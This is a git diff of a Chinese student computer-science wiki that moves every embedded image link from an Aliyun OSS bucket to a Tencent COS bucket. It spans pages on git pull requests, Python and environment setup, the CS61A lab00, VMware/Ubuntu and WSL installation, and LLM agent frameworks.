-![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnNBu1EJnva4EkyQZAVlwGMe.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnNBu1EJnva4EkyQZAVlwGMe.png) 1. 如果你没有本仓库的主分支提交权限 可以提交 pr(pull requests) @@ -353,7 +353,7 @@ git push origin main # origin是第四步里remote add起的远程名字 首先创建一个新分支 命名为 `yourname-dev` -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnaS7aOzdt31vsZZx8R1s33e.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnaS7aOzdt31vsZZx8R1s33e.png) 然后按照上面的方法 `git clone` 并切换到你刚创建的分支 @@ -363,30 +363,30 @@ git switch camera-2018-dev 然后提交一个文件 这里使用 vscode 自带的 git 工具试试 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnmwlYWOzwPbNqTAuSZK9dW3.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnmwlYWOzwPbNqTAuSZK9dW3.png) 点暂存所有更改 写好 comment 之后点提交 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnfcCnAdtdX2oyLIC3NibVnf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnfcCnAdtdX2oyLIC3NibVnf.png) 最后点同步更改上传 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn9DSPlFgG2WMZhTOE9Zhzgb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn9DSPlFgG2WMZhTOE9Zhzgb.png) 如果是你提交 在 github 上会显示这个 快捷创建 pr 的按钮 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnHd7Qfi8C0Y7V2Ot5ii4vpf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnHd7Qfi8C0Y7V2Ot5ii4vpf.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnyt3eeZQyN8b1xM1WjDrTGe.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnyt3eeZQyN8b1xM1WjDrTGe.png) 点它创建 pr -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnJOjh1Zfp9tCd3llL9NsEzb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnJOjh1Zfp9tCd3llL9NsEzb.png) 这样管理本仓库的人看到 pr 请求就可以 merge 合并辣 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnBMq0sw6c48jvjdPJwmAGtZ.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnBMq0sw6c48jvjdPJwmAGtZ.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcngNZOSnYUtCKH6pm8UaUMNd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcngNZOSnYUtCKH6pm8UaUMNd.png) 实际合作过程中可能会出现代码冲突无法 merge 的情况 😋 遇到了自己去 STFW 吧 diff --git a/3.编程思维体系构建/3.6.2环境配置.md b/3.编程思维体系构建/3.6.2环境配置.md index abf536f..6dd9660 100644 --- a/3.编程思维体系构建/3.6.2环境配置.md +++ b/3.编程思维体系构建/3.6.2环境配置.md @@ -10,21 +10,21 @@ 装下来之后具体操作可以看[安装教程](https://blog.csdn.net/in546/article/details/117400839),如果自动配置环境变量的选项是灰色的话,请按照下面的教程把下面的几个文件路径加入环境变量。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn3PLPIvKSSvYiCnwx50FYvf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn3PLPIvKSSvYiCnwx50FYvf.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnvTQPcmPpUonmDZFZXNnGWd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnvTQPcmPpUonmDZFZXNnGWd.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn6ZnAzhaj2Tj7xk9K6FxBJh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn6ZnAzhaj2Tj7xk9K6FxBJh.png) 在里面添加并写入文件路径加入就好了~ -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnnsuoHmhK4dBCLHlKhpRWIe.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnnsuoHmhK4dBCLHlKhpRWIe.png) 然后打开 Pycharm,创建新项目,设置按照以下方式操作,记得挂梯子。 如果不挂梯子,请按照教程配置清华源。[我是教程](https://blog.csdn.net/jasneik/article/details/114227716) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnTfvjYweuIZFKlcH78X38Pd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnTfvjYweuIZFKlcH78X38Pd.png) 然后一个新的环境就创建好辣~ diff --git a/3.编程思维体系构建/3.6.3安装python.md b/3.编程思维体系构建/3.6.3安装python.md index ef45cc6..1245890 100644 --- a/3.编程思维体系构建/3.6.3安装python.md +++ b/3.编程思维体系构建/3.6.3安装python.md @@ -32,7 +32,7 @@ 可以输入 `python3 --version` 检验是否成功。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn95LbcwuMC2dIViOxWk8BFb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn95LbcwuMC2dIViOxWk8BFb.png) # Jupyter Notebook @@ -50,6 +50,6 @@ jupyter notebook 进行使用 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnfwk8gnFAHu5JzVUiugJjQe.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnfwk8gnFAHu5JzVUiugJjQe.png) [Pycharm](https://www.jetbrains.com/zh-cn/pycharm/):可能很多同学已经用上了,我在这里不做更多解释 diff --git a/3.编程思维体系构建/3.6.4.2阶段二:递归操作.md b/3.编程思维体系构建/3.6.4.2阶段二:递归操作.md index 532bbd5..8826120 100644 --- a/3.编程思维体系构建/3.6.4.2阶段二:递归操作.md +++ b/3.编程思维体系构建/3.6.4.2阶段二:递归操作.md @@ -2,7 +2,7 @@ 什么是递归呢? -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnCNpeAE9Hy61cyvtxfioIHg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnCNpeAE9Hy61cyvtxfioIHg.png) # diff --git a/3.编程思维体系构建/3.6.4.3阶段三:数据抽象.md b/3.编程思维体系构建/3.6.4.3阶段三:数据抽象.md index cc879ca..4258b78 100644 --- a/3.编程思维体系构建/3.6.4.3阶段三:数据抽象.md +++ b/3.编程思维体系构建/3.6.4.3阶段三:数据抽象.md @@ -184,7 +184,7 @@ P7:9*9 乘法表 可能现在对你来说,构建像下图这样的 99 乘法表已经是非常容易的一件事了,可是如果我要求你使用 python 的列表推导式(list comprehension),在两行以内完成呢? -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnccDSRQj5W3lZWEUkCOHz2b.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnccDSRQj5W3lZWEUkCOHz2b.png) P8:couple 情侣 diff --git a/3.编程思维体系构建/3.6.5.1lab00:让我们开始吧.md b/3.编程思维体系构建/3.6.5.1lab00:让我们开始吧.md index a6e032b..f1f21cc 100644 --- a/3.编程思维体系构建/3.6.5.1lab00:让我们开始吧.md +++ b/3.编程思维体系构建/3.6.5.1lab00:让我们开始吧.md @@ -158,7 +158,7 @@ VS Code 的另一个不错的功能是它具有“嵌入式终端”。因此, 首先,打开一个终端窗口。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/L5HvblSuYonJn4x03a4cMLKknrh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/L5HvblSuYonJn4x03a4cMLKknrh.png) #### 主目录 @@ -174,11 +174,11 @@ VS Code 的另一个不错的功能是它具有“嵌入式终端”。因此, PATH 就像一个地址:它告诉您和计算机到某个文件夹的完整路径(或路由)。请记住,您可以通过两种不同的方式访问计算机上的文件和目录(文件夹)。您可以使用终端(这是一个命令行界面或 CLI),也可以使用 Finder Finder 是图形用户界面(或 GUI)的一个 例子导航技术不同,但文件相同。例如,这是我的 CS 61A 实验室文件夹在我的 GUI 中的样子: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/CWDhbW6gzogyMFxtd6kcnPBunv2.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/CWDhbW6gzogyMFxtd6kcnPBunv2.png) 这是完全相同的文件夹在终端中的外观: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/HZNMbzGZOoQGAhxQ29gcM5V4nNd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/HZNMbzGZOoQGAhxQ29gcM5V4nNd.png) 请注意,在这两种情况下,黄色框都显示了 PATH,紫色椭圆显示了“labs”文件夹的内容。 @@ -186,7 +186,7 @@ PATH 就像一个地址:它告诉您和计算机到某个文件夹的完整路 让我们停下来思考一下终端和 Python 解释器之间的区别。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/HgTfbMhCGodZbzxBNh9crH3cnCe.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/HgTfbMhCGodZbzxBNh9crH3cnCe.png) 1. 哪个是终端? 2. 哪个是 Python 解释器? @@ -197,7 +197,7 @@ A 和 D 都是我的终端。在这里您可以运行 bash 命令,例如 `cd` B 是 Python 解释器。你可以从 >>> 提示中看出这意味着你已经启动了一个 Python 解释器。您还可以判断,因为启动它的命令是可见的:`python3`。该 `python3` 命令启动 Python 解释器。如果您在 Python 解释器中键入 bash 命令,您可能会遇到语法错误!这是一个例子: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/GEN5b1HHdoDegPxAp8WcQDGknoc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/GEN5b1HHdoDegPxAp8WcQDGknoc.png) C 是我的代码编辑器。这是我可以编写 Python 代码以通过我的终端执行的地方。 @@ -287,7 +287,7 @@ mkdir lab 现在,如果您列出目录的内容(使用 `ls`),您将看到两个文件夹,`projects` 和 `lab`. -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/Cpfzb9oK2oMyGxxgkqVceE8DnId.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Cpfzb9oK2oMyGxxgkqVceE8DnId.png) ### 更多目录更改 @@ -475,7 +475,7 @@ ______ 实验室还将包括函数编写问题。在你的文本编辑器中打开 `lab00.py`。您可以 `open .` 在 MacOS 或 `start .` Windows 上键入以在 Finder/文件资源管理器中打开当前目录。然后双击或右键单击以在文本编辑器中打开文件。你应该看到这样的东西: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/FkOybDwtnoQeRyxejlwcjhQ2nch.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/FkOybDwtnoQeRyxejlwcjhQ2nch.png) 三引号中的行 `"""` 称为文档字符串(Docstring),它描述了函数应该做什么。在 61A 中编写代码时,您应该始终阅读文档字符串! @@ -483,7 +483,7 @@ ______ 在这里,我们圈出了文档字符串和文档测试,以便于查看: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/MF4ZbUZ0qo70gRxeNGocsYvmnwe.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/MF4ZbUZ0qo70gRxeNGocsYvmnwe.png) 在 `twenty_twenty_two`, diff --git a/3.编程思维体系构建/3.Y.1VMware的安装与安装Ubuntu22.04系统.md b/3.编程思维体系构建/3.Y.1VMware的安装与安装Ubuntu22.04系统.md index 60f4533..6665f59 100644 --- a/3.编程思维体系构建/3.Y.1VMware的安装与安装Ubuntu22.04系统.md +++ b/3.编程思维体系构建/3.Y.1VMware的安装与安装Ubuntu22.04系统.md @@ -14,13 +14,13 @@ 一路下一步 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcntUYJNAaOwB8L6KSEhJJojh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcntUYJNAaOwB8L6KSEhJJojh.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnQkVQ4uyYCveO6toBujoGOc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnQkVQ4uyYCveO6toBujoGOc.png) 这俩我推荐勾掉 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcndgDKfTuio3nF0QboemIPHe.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcndgDKfTuio3nF0QboemIPHe.png) 安装过后点许可证 输上面的 key 激活 @@ -30,15 +30,15 @@ 下好回到 VMware -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnGHnjgZvtcBrm0XXitFl4Jg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnGHnjgZvtcBrm0XXitFl4Jg.png) 创建新的虚拟机-典型(推荐)-下一步-安装程序 iso 选中你刚下的 iso 下一步 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnXilUhHNEyU4r95FxiVgCdg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnXilUhHNEyU4r95FxiVgCdg.png) 这里填你一会儿要登录 linux 的个人信息 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnp33Oc3Ia2HzASTZJNOhEWb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnp33Oc3Ia2HzASTZJNOhEWb.png) 这里建议把位置改到其他盘 @@ -46,21 +46,21 @@ 启动后进入 Ubuntu 安装 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn5Uk41JyjjdTzXWQqUkexzc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn5Uk41JyjjdTzXWQqUkexzc.png) 键盘映射 直接 continue 接下来一路 continue install now -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnLxZnyFN3ohE8zrTwNaCA8e.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnLxZnyFN3ohE8zrTwNaCA8e.png) 最后 restart -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnLguvbHihJ3ngqrtyGLI6zf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnLguvbHihJ3ngqrtyGLI6zf.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnCX92JHjg8PU3quKs4GziZb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnCX92JHjg8PU3quKs4GziZb.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnL5Jn3g7AdzVzoBb6ZINs1f.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnL5Jn3g7AdzVzoBb6ZINs1f.png) 这个 skip @@ -68,15 +68,15 @@ 点右上角 settings -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn85Yb3JIQ3520KeaSoyPVDd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn85Yb3JIQ3520KeaSoyPVDd.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnZLHO1JGWoSqhM9zEEhSMAd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnZLHO1JGWoSqhM9zEEhSMAd.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnvLxCTKYfogPm9GNaKmusEf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnvLxCTKYfogPm9GNaKmusEf.png) 然后按指引 restart 系统 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn30VJILYpO81pq89mAmzjTf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn30VJILYpO81pq89mAmzjTf.png) 会提示你要不要重新命名这些用户下的文件夹 @@ -84,27 +84,27 @@ 如果你的语言还没有变过来的话 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnKzJjY8Dvj13A49bnMAztPg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnKzJjY8Dvj13A49bnMAztPg.png) 点击这个他会安装语言 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcndHnAuGC7TXhQgLkpLkHghf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcndHnAuGC7TXhQgLkpLkHghf.png) 把汉语拖到英文之上 点应用到整个系统 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnltCL3atXHtC3BUj5VI1Lqf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnltCL3atXHtC3BUj5VI1Lqf.png) 右上角 logout 重新登陆 就是中文辣 最后在设置-电源把息屏改成从不 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnnLCJzGoFrUbWIMAPGFkxcb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnnLCJzGoFrUbWIMAPGFkxcb.png) 至此 恭喜安装完成! 之后就可以在桌面上右键 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnG6z1VpAYUGMSkSwDBUxEvf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnG6z1VpAYUGMSkSwDBUxEvf.png) 打开命令行 diff --git a/3.编程思维体系构建/3.Y.2WSL的安装.md b/3.编程思维体系构建/3.Y.2WSL的安装.md index 307cf97..3afe3ca 100644 --- a/3.编程思维体系构建/3.Y.2WSL的安装.md +++ b/3.编程思维体系构建/3.Y.2WSL的安装.md @@ -15,10 +15,10 @@ (现在可能是只开 `适用于Linux的windows子系统`) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnYVkEecWdUs710e8h6G9GTh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnYVkEecWdUs710e8h6G9GTh.png) 如果你的 windows 版本为家庭版 那么 hyperv 选项是没有的 你需要右键以管理员权限打开以下脚本来强行开启 hyperv -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnoCF5MilDma33yviwRGdDHe.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnoCF5MilDma33yviwRGdDHe.png) diff --git a/3.编程思维体系构建/3.编程思维体系构建.md b/3.编程思维体系构建/3.编程思维体系构建.md index 2b09343..3fdccb0 100644 --- a/3.编程思维体系构建/3.编程思维体系构建.md +++ b/3.编程思维体系构建/3.编程思维体系构建.md @@ -24,7 +24,7 @@ python内容完成后,基本学习到如何使用python当一门工具使用 如果你要开始,推荐你从3.0开始阅读,然后挑选你喜欢的内容 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnOrKXUsIPJAUXyGB3Txewve.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnOrKXUsIPJAUXyGB3Txewve.png) ## 本章参考内容 diff --git a/4.人工智能/4.11从 AI 到 智能系统 —— 从 LLMs 到 Agents.md b/4.人工智能/4.11从 AI 到 智能系统 —— 从 LLMs 到 Agents.md index d046dbb..8e0576c 100644 --- a/4.人工智能/4.11从 AI 到 智能系统 —— 从 LLMs 到 Agents.md +++ b/4.人工智能/4.11从 AI 到 智能系统 —— 从 LLMs 到 Agents.md @@ -219,13 +219,13 @@ ICL(In-Context Learning,上下文学习)和 COT(Chain of Thought,思 虽然学界对此没有太大的共识,但其原理无非在于给予 LLMs 更翔实的上下文,让输出与输入有着更紧密的关联与惯性。(从某种意义上来说,也可以将其认为是一种图灵机式的编程) -> ICL:
![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/Xjw5bXgRNolw6OxBiEecfOUTn5b.png) +> ICL:
![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Xjw5bXgRNolw6OxBiEecfOUTn5b.png) ICL 为输出增加惯性 > 可以简单认为,通过 ICL Prompt,能强化人类输入到机器输出的连贯性,借以提升输出的确定性。
在经过“回答”的 finetune 之前,大模型的原始能力就是基于给定文本进行接龙,而 ICL 的引入则在“回答”这一前提条件下,降低了机器开始接龙这一步骤中的语义跨度,从而使得输出更加可控。
-COT:
![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/NT04baWdNoYzRrxjJFfcXCgbnLh.png) +COT:
![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/NT04baWdNoYzRrxjJFfcXCgbnLh.png) COT 为输出增加关联 @@ -240,7 +240,7 @@ COT 为输出增加关联 (需要注意的是,TaskMatrix.AI 更大程度上是一个愿景向的调研案例,尚未正式落地生态) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/GlM9be7Hvo4EepxQfEOcRvzpnKd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/GlM9be7Hvo4EepxQfEOcRvzpnKd.png) TaskMatrix 的生态愿景 @@ -275,7 +275,7 @@ TaskMatrix 的生态愿景 - Usage Example:API 的调用方法样例 - Composition Instruction:API 的使用贴士,如应该与其它什么 API 组合使用,是否需要手动释放等 -> 样例:打开文件 API
![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/IFWXbgiy8oOj5axvJd8cJu6pnVb.png) +> 样例:打开文件 API
![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/IFWXbgiy8oOj5axvJd8cJu6pnVb.png) 基于此类文档内容和 ICL 的能力,LLMs 能从输入中习得调用 API 的方法,依此快速拓展了其横向能力 @@ -287,11 +287,11 @@ COT for TaskMatrix 在 TaskMatirx 中,通过该模式,让 MCFM 将任务转化为待办大纲,并最终围绕大纲检索并组合 API,完成整体工作 -> 样例:写论文
构建完成工作大纲
![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/GAeJbok1FoTFLixLQAlcxdAPned.png) +> 样例:写论文
构建完成工作大纲
![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/GAeJbok1FoTFLixLQAlcxdAPned.png) TaskMatrix 自动围绕目标拆解任务 -> 自动调用插件和组件
![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/PUHZbzk7jo5Avuxo1g6cgD9snXg.png) +> 自动调用插件和组件
![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/PUHZbzk7jo5Avuxo1g6cgD9snXg.png) TaskMatrix 自动为任务创建 API 调用链 @@ -313,7 +313,7 @@ TaskMatrix 自动为任务创建 API 调用链 Decomp 的核心思想为将复杂问题通过 Prompt 技巧,将一个复杂的问题由 LLMs 自主划分为多个子任务。随后,我们通过 LLMs 完成多个任务,并将过程信息最终组合并输出理想的效果 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/X7iLbYOcpoXZy7xuhorc71LSnod.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/X7iLbYOcpoXZy7xuhorc71LSnod.png) 几种 Prompt 方法图示 @@ -321,7 +321,7 @@ Decomp 的核心思想为将复杂问题通过 Prompt 技巧,将一个复杂 而对于 Decomp 过程,则又是由一个原始的 Decomp Prompt 驱动 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/A7OubowqYo11O3xn0KbcRoscnEh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/A7OubowqYo11O3xn0KbcRoscnEh.png) Decomp 方法执行样例 @@ -347,7 +347,7 @@ Decomp 的原始功能实际上并不值得太过关注,但我们急需考虑 通过问题的分解和通过“专用函数”的执行,我们可以轻易让 LLMs 实现自身无法做到的调用 API 工作,例如主动从外部检索获取回答问题所需要的知识。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/N1z8bU7dzoD6x1xKtT3cpm9Pnpe.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/N1z8bU7dzoD6x1xKtT3cpm9Pnpe.png) Decomp 方法调用外部接口样例 @@ -359,7 +359,7 @@ Decomp 方法调用外部接口样例 [HuggingGPT](https://arxiv.org/abs/2303.17580) 一文也许并未直接参考 Decomp 方法,而是用一些更规范的手法完成该任务,但其充分流水线化的 Prompt 工程无疑是 Decomp 方法在落地实践上的最佳注脚 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/Uct8bXhTgocChExgmiWcQTbSnGb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Uct8bXhTgocChExgmiWcQTbSnGb.png) HuggingGPT @@ -407,7 +407,7 @@ Generative Agents 构建了一套框架,让 NPC 可以感知被模块化的世 - 一方面,其包含场景中既有对象,包括建筑和摆件等的基础层级信息 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/BKZPbpDrIo95amxDZANccwHZnpd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/BKZPbpDrIo95amxDZANccwHZnpd.png) Generative Agents 的场景信息管理 @@ -635,7 +635,7 @@ AutoGPT 主要特性如下: 其提醒我们,就连我们的意识主体性,也只是陈述自我的一个表述器而已。我们是否应当反思对语言能力的过度迷信,从而相信我们能通过训练模型构建 All in One 的智能实体? -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/ED4qbjSrMoR2sQxJnGEcCtvjn8d.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/ED4qbjSrMoR2sQxJnGEcCtvjn8d.png) 全局工作空间理论 @@ -905,7 +905,7 @@ AutoGPT 的核心记忆设计依赖于预包装的 Prompt 本体,这一包装 Generative Agent 通过自动化评估记忆的价值,并构建遗忘系统、关注系统等用于精准从自己繁杂的记忆中检索对于当前情景有用的信息。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/StjCbHn2BoqTrNxF64ScvrPInCe.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/StjCbHn2BoqTrNxF64ScvrPInCe.png) Generative Agents :基于 Reflection 构建记忆金字塔 diff --git a/4.人工智能/4.12本章节内容的局限性.md b/4.人工智能/4.12本章节内容的局限性.md index 10adacf..ada5f72 100644 --- a/4.人工智能/4.12本章节内容的局限性.md +++ b/4.人工智能/4.12本章节内容的局限性.md @@ -60,4 +60,4 @@ ZZM 曾经尝试过投入大量时间去钻研数学以及机器学习相关的 联系 ZZM,我努力改 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnfYSoVgoERduiWP0jWNWMxf.jpg) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnfYSoVgoERduiWP0jWNWMxf.jpg) diff --git a/4.人工智能/4.1前言.md b/4.人工智能/4.1前言.md index c28f3c0..3e5497b 100644 --- a/4.人工智能/4.1前言.md +++ b/4.人工智能/4.1前言.md @@ -13,7 +13,7 @@ 计算机视觉旨在用计算机模拟人类处理图片信息的能力,就比如这里有一张图片——手写数字 9 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnvQiaAx6WgPx64s8fBklVwh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnvQiaAx6WgPx64s8fBklVwh.png) 对我们人类而言,能够很轻松地知道这张图片中包含的信息(数字 9),而对计算机来说这只是一堆像素。计算机视觉的任务就是让计算机能够从这堆像素中得到‘数字 9’这个信息。 @@ -21,15 +21,15 @@ 图像分割是在图片中对物体分类,并且把它们所对应的位置标示出来。下图就是把人的五官,面部皮肤和头发分割出来,效(小)果(丑)图如下: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnxn5GlJZmsrMV5qKNwMlDPc.jpg) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnxn5GlJZmsrMV5qKNwMlDPc.jpg) 